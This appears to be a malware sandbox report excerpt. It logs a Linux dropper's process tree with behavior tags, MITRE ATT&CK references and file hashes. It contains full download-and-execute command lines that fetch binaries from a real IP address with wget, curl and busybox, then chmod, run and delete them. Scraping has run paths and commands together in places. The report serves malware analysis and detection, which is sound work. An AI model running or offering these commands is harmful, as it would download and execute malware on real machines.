- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:881
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:882
-
-
/bin/chmodchmod 777 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX./ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Executes dropped EXE
PID:884
-
-
/bin/rmrm ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:885
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:886
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:887
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:888
-
-
/bin/chmodchmod 777 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- File and Directory Permissions Modification
PID:889
-
-
/tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr./vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Executes dropped EXE
PID:890
-
-
/bin/rmrm vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:891
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:892
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97